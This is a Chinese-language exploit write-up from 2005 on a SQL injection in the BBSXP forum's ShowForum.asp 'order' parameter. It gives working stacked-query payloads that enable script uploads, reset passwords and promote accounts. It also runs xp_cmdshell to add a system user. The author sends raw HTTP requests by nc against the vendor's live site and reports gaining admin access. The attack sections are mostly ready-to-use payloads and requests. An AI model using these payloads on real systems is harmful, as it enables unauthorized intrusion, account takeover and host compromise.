Bbsxp最新版本漏洞
By ivory 于厦门集美大学
漏洞测试:ivory&&猫猫
漏洞发现日期:2005-4-8
漏洞针对版本:针对bbsxp所有版本for sql(我并没有夸大,应该是这样,我下载几个版本,包括最新的bbsxp5.15 sql正式版)
漏洞严重度:严重
Bbsxp算是老牌论坛模板了,从它’出生’的那天起,就不断的被人入侵,虽然经过一部分高手的检测后,漏洞还是层出不穷。在baidu中搜索“bbsxp+漏洞”,就能发现一大堆。现在bbsxp依然屹立不倒,应该归功于yuzi对漏洞的及时修补。听说bbsxp出了个新版本:“bbsxp5.1正式版”,还大言不惭的说没有任何注入漏洞!我去www.yuzi.net载了这个版本,从此蹋上了漫长的寻找漏洞之旅。
一:漏洞发现
我个人觉得bbsxp代码写的很好,结构规范,简单易懂,比同类论坛程序好看多了(这里并不是夸它,如果初学asp的,建议看看bbsxp)。其次,这个版本确实修补了很多漏洞,包括《bbsxp所有版本漏洞暴光》里所提到的search.asp中searchxm和searchxm2变量未过滤漏洞。
这里我就多说一点,看最新的程序中是怎么过滤这个漏洞的:
if Len(searchxm)>8 then error("<li>非法操作")
item=""&searchxm&"='"&content&"'"
elseif search="key" then
if Len(searchxm2)>8 then error("<li>非法操作")
item=""&searchxm2&" like '%"&content&"%'"
end if
|
还记得我们是怎样利用union子查询来做破坏的吗?这里其实过滤很简单,就是算searchxm和searchxm2参数的长度,如果大于8个字符就会出现错误,然后再进入sql语句。我们想想union过程必须要左右两个子查询的字段数一样,而他的查询过程是:
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc"
rs.Open sql,Conn,1
|
用小学的知识都可以算出,用union连接字段要20个字符,还要加上其他的东西,所以远远不够的!他们补漏洞的方式真的很特别。
所以只有另起炉灶了,当我在看ShowForum.asp文件时,突然眼前一亮,好象一个精灵飞过来,它轻轻的告诉我:“漏洞就在不远处”。对!漏洞就是这个文件里的order参数有问题,order是用户提交的,我们来看看他是怎么进行过滤的。
if Request("order")<>"" then
order=HTMLEncode(Request("order"))
else
order="lasttime"
end if
|
其后再没有进行任何过滤,就直接sql语句了。
if PageCount<2 then
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
Set Rs=Conn.Execute(sql)
Else
|
只要pagecount不大于2,就可以进入了。Ok,对于order的过滤就只有HTMLEncode()这个拦路虎了,我们来看看是怎么写的,在setup.asp中我发现了这个子程序:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
|
好家伙,一下过滤了这么多,我们看看都有些什么,“;”、”<”、“>”、“\”、“—”、“’”、“:”(chr()是用来转换ascii符的,chr(34)就是“:”)、还有个”回车”(asp中用vbCrlf表示回车),但是我用我的拖鞋打赌,过滤这些还是不够的。
回头看看那条sql语句吧,这条语句非常的奇怪,用一般的注入方法很难实现,比如用union吧,在"&order&"前又有个逗号,所以不行。
所以经过我的研究,我很失望的告诉大家,这个漏洞只能用于sql系统,因为考虑到了这个order参数在order by后面,而且还有个逗号准备两次排序,还有它对单引号的过滤。
我们知道两条完整的sql语句可以用分号和空格来间隔,而他只仅仅过滤了分号!还有就是要构造一条语句,必须要满足了那个逗号,才能执行,但是这里我们需要一个forum表中所存在的字段,这里我用的是forumid,当然也可以用id和其他的。于是我小心的提交了一条这样的句子:
Order=forumid update clubconfig set UpFileGenre=UpFileGenre+”|asa” select * from [user] order by id
|
后面的“select * from [user] order by id “是为了满足程序中的desc而构造的。但是这样还不行,因为程序中过滤了单引号,将‘|asa’编码为:0x7c00630065007200。所以继续改造如下
Order=forumid declare @cmd sysname set @cmd=0x7c00630065007200 update clubconfig set UpFileGenre=UpFileGenre+@cmd select * from [user] order by id
|
由于我们提交上去的时候是用nc来的,所以我们变形后是这样的:
order=forumid+DECLARE+@cmd+sysname+set+@cmd%3D0x7c00630065007200+update
+clubconfig+set+UpFileGenre%3DupFileGenre%2B@cmd+select+*+from+%5Buser%
5D+order+by+id&Submit=Submit
|
这样,我们就可以在论坛发帖的时候上传cer文件了,同样我们可以写成set @cmd=0x7c00610073006100,提交上去发帖的时候就可以上传asa文件了!
因为他们在数据库中允许上传的类型将会是如下显示:
|jpg|gif|txt|……..|asa|cer…….
|
当然利用这种方法可以构造任何语句了,前途将无可限量。
我还给大家准备了一段语句:
order=forumid+DECLARE+@pass+sysname+set+@pass%3D0x450031003000410044004
3003300390034003900420041003500390041004200420045003500360045003000350
0370046003200300046003800380033004500+update+%5Buser%5D+set+userpass%3
D@pass+where+id%3D1+select+*+from+%5Buser%5D+order+by+id&Submit=Submit
|
这样,提交后,我们就成功的将id为1的用户密码修改成123456!
二:实战分析
说了那么多的原理,我想要实践一下才能证明我的观点。俗话说:“以彼之道,还之彼身”,就拿他们bbsxp的官方站点来看看吧,正好他们也用的是sql的。
直接打开漏洞地方:http://bbs.yuzi.net/ShowForum.asp?forumid=454,再用WsockExpert抓个包。
GET /ShowForum.asp?forumid=454 HTTP/1.1
Accept:*/*
Accept-Language:zh-cn
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE 6.0;WindowsNT 5.1;SV1)
Host:bbs.yuzi.net
Connection:Keep-Alive
Cookie:skins=1; ASPSESSIONIDAAQTTCBD=NKFKPKFDLEGGKEABHACCKGBP
|
然后直接把我们构造的那么多放在这个包后面就可以了。由于官方站点把上传选项关闭了,所以我们就从修改用户的角度出发。
注册一个用户ivory,然后我先将ivory(我自己)修改成区长:
ivory的编码是:0x690076006f0072007900
所以构造的语句是:
order=forumid+DECLARE+@name+sysname+set+@name%3D0x690076006f0072007900
+update+%5Buser%5D+set+membercode%3D5+where+username%3D@name+select+*+
from+%5Buser%5D+order+by+id&Submit=Submit
|
我们做如下处理:
因为后面的order是我们提交的,所以必须要在前面的行中加入:
Content-Length: xxx
这样才让系统接受后面的语句,这个数据是我们构造语句的长度。这里的是181
这样来提交:
-------------------------code begin----------------------------------
GET /ShowForum.asp?forumid=37 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bbs.yuzi.net
Content-Length: 181
Connection: Keep-Alive
order=forumid+DECLARE+@name+sysname+set+@name%3D0x690076006f0072007900+update+%5Buser%5D+set+membercode%3D5+where+username%3D@name+select+*+from+%5Buser%5D+order+by+id&Submit=Submit
--------------------------cut here----------------------------------
大家一定注意到了,这里我攻击包里面把截包后的cookie里的东西都删除了。现在证实,这样才是成功的,开始我想错了,一开始就把aspsessionid就写错了,所以才会导致失败,后来我用臭要饭的!给出的那个aspsessionid才成功。但是还是想不通,问了很多朋友都不知道,一个微风徐徐的晚上我想到这个方法:我们看看原文件吧:showforum.asp里并没有对session的要求。所以这边索性将它删除掉(后面的修改区长密码也是一样的可以删除),也是一样会成功的,这样同时省掉了不少麻烦。
将上面的代码保存为hack.txt,然后用nc进行提交:
nc –vv bbs.yuzi.net 80<hack.txt
马上,刷新一下!ivory就变成管理员了。如图一:
图一
恩,想不到第一步竟然这么顺利,我们可以继续入侵,即修改区长密码:
------------------------------------------- code-begin-----------------------------------------------------------
POST /ShowForum.asp?forumid=2 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Maxthon)
Host: bbs.yuzi.net
Content-Length: 265
Connection: Keep-Alive
Cache-Control: no-cache
order=id+DECLARE+@cmd+sysname+set+@cmd%3D0x45003100300041004400430033003900340039004200410035003900410042004200450035003600450030003500370046003200300046003800380033004500+update+clubconfig+set+adminpassword%3D@cmd+select+*+from+%5Buser%5D+order+by+id&Submit=Submit
-------------------------cut here-----------------------------------
说明一下:0x45003100300041004400430033003900340039004200410035003900410042004200450035003600450030003500370046003200300046003800380033004500是编码后的123456的md5 32位加密密码。
也同样保存为hack1.txt,并用nc提交:
nc –vv bbs.yuzi.net 80<hack1.txt
然后用密码123456登陆后台。如图二,三
好了。后台不允许备分,而且上传文件的目录设置了不允许执行cgi脚本。但是知道了路径,本来可以用echo来写个木马的!我也就不做了,免得人家说闲话,毕竟此次测试轰动也挺大的!
三:后记
其实这个漏洞没有这么简单的结束,根据我的测试,完全可以利用系统存储过程来构造语句进行入侵,可以获得主机的权限:
比如我经过如下的构造:
将net user sohu sohu /add编码为:
0x6e006500740020007500730065007200200073006f0068007500200073006f006800750020002f00610064006400
然后通过提交:
order=id+DECLARE+@cmd+sysname+set+@cmd%3D0x6e00650074002000750073006500
7200200073006f0068007500200073006f006800750020002f00610064006400+exec+
master.dbo.xp_cmdshell+@cmd+select*+from+%5Buser%5D+order+by+id&Submit=Submit
|
我想,只要权限允许,我们就可以在主机上添加一个sohu这个用户。
我一直感觉有一种四两拨千斤的意思,通过一个小漏洞,可以进入看起来不可攻破的系统。其实漏洞就是这样,还需要不断探索啊。
文章还未刊登!请不要转载~~